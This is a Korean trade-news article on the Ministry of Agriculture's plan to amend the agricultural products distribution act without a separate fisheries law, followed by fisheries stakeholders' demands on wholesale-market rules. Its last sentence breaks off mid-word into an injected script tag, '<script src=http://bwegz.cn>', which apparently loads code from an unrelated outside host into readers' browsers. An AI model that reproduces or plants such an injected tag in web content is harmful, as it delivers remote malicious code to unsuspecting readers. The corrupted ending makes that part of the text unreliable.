농림부는 농안법 개정과 관련 수산부문의 별도법 분리없이 농산부문과 협의해 입법예고안을 마련할 계획이다.

이에 따라 농안법 개정 논의과정에서 수산물유통인의 가장 큰 관심을 끈 수산분야의 별도 법 제정은 힘들 것으로 보인다.

그러나 농림부는 수산물 유통의 특성을 살린 `특칙'' 마련 등은 염두에 두고 있다는 게 관계자의 전언이다.

농림부 유통정책과 담당자는 “산지 공판장에서 1차 경매를 거치는 등 수산물이 갖는 특성상 경매제 폐지 등 수산부문의 여러가지 의견이 있었으나 도매시장에서의 1시장 2체제로는 갈 수 없다는 판단아래 농산부문과의 협의를 거쳐 농안법 개정안을 마련할 예정”이라고 밝혔다.

그는 이와함께 “개정안 마련을 앞두고 해양수산부 측에 의견을 구했으나 구체적인 의견을 제시하지 않는 상황”이라고 덧붙였다.

이에대해 해양수산부 측은 “최종실무회의를 한번 더 거치던지 어떤 식으로든 과정을 하나 더 거쳐야 최종안을 마련할 수 있을 것”이라는 입장을 보이고 있다.

해양수산부는 또 아직 구체적인 안이 마련된 것은 아니지만 해양수산부안을 만들어 농림부와 협의해 나갈 계획이라고 덧붙였다.

해양수산부 유통정책과장은 “지금 구체적인 내용을 말할 수 없는 것은 개정과정에서 변경이나 변화가 있을 수 있기 때문”이라고 설명했다.

농림부는 이달 중순 농안법 개정안을 마련해 다음 달 초 입법예고를 거쳐 오는 10월 정기국회에 제출할 계획이다.

그동안 논의된 농안법 개정 주요쟁점과 관련 수산부문 이해당사자들이 제시한 사항은 다음과 같다.

#도매시장법인 매수판매

도매시장법인이 개설자의 승인을 얻어 매수 도매를 허용해 달라고 요구했다. 위탁 및 매수 물품간 가격 차이가 나지 않도록 보장할 경우 수용하고 유통주체간의 역할을 충실히 할 수 있도록 완화가 필요하다.
또 개설자에에게 위임한 것은 문제가 있으므로 재검토가 필요하다.

#중도매인 상장예외품목 거래

도매시장은 공익성과 상업성이 조화를 이루면서 법인과 중도매인이 함께 발전해야 하므로 상장예외품목 확대는 곤란하다.

타도매시장에서 1차 거래된 물품과, 수입냉동품을 상장예외로 확대했을경우 상장경매품 대부분을 차지하게 되므로 확대에 반대한다.

상장예외품목을 정할 때 도매시장법인과 협의토록 하는 것은 곤란하므로 업무규정으로 정한 상장예외품목을 법으로 명시하라.

상장예외품목 선정시 중앙도매시장과 지방도매시장의 특성을 고려해 선정하라.

#정가 또는 수의매매

경매는 시간과 비용이 많이 들어 비효율적이다. 거래방법을 경매, 상장예외, 수의매매 등으로 정하고 출하자가 선택할 수 있도록 하라.

현재의 정가·수의매매는 투명성과 공정성에 문제가 있다.

도매시장 활성화 차원에서 예약 정가·수의매매를 허용하라.

출하자가 요구하지 않는데 경매를 하는 것도 곤란하다.

도매시장 활성화 차원에서 수산물 유통 특성에 맞도록 규제를 완화하는 것이 필요하다.

#도매시장법인 겸영사업 확대

도매시장법인만 겸영사업을 확대할 경우 중도매인 영업은 위축되므로 중도매인 수집도 함께 허용한다.

시장도매인제 도입 등과 동시에 검토하라.

출하자 및 중도매인 구매권 보호가 보장될 경우 도매법인 겸영사업을 확대하라.

단 일정한 면적을 구획해 겸영사업을 확대하는 것은 곤란하다.

도매시장 활성화 차원에서 겸영사업 허용이 필요하다.

지방도매시장 법인은 물량유치를 제대로 하지 못하고 있는데 권한을 더 주는 것은 곤란하다.

#경매사 임면 및 자격

경매사 의견 수렴기회 부여와 자격취소 규정을 구체화하라.
경매사 공영제 도입은 곤란하다. 경매사 지정제를 폐지하라.

#법인지정 및 중도매인 허가 유효기간

중도매인의 허가기간 연장은 현행을 유지해달라.
도매시장법인 지정유효기간은 계속 협의가 필요하다.

#중도매인간, 시장도매인과 중도매인간 거래

동일시장에 시장도매인과 중도매인과 거래를 허용하라.
동일시장내 중도매인간 거래를 허용하라.

#중도매업의 승계

중도매업의 승계를 허용하라.

#지방도매시장 운영 특례

지방도매시장의 운영 및 거래방법등을 공판장 수준으로 특례를 적용해달라.

#산지경매제도를 확립

수산물 위판장의 법적 근거를 마련해달라.

#시장도매인제 도입

시장도매인제 즉시 도입 및 중앙도매시장에도 반드시 시장도매인을 두도록 명문?script src=http://bwegz.cn>
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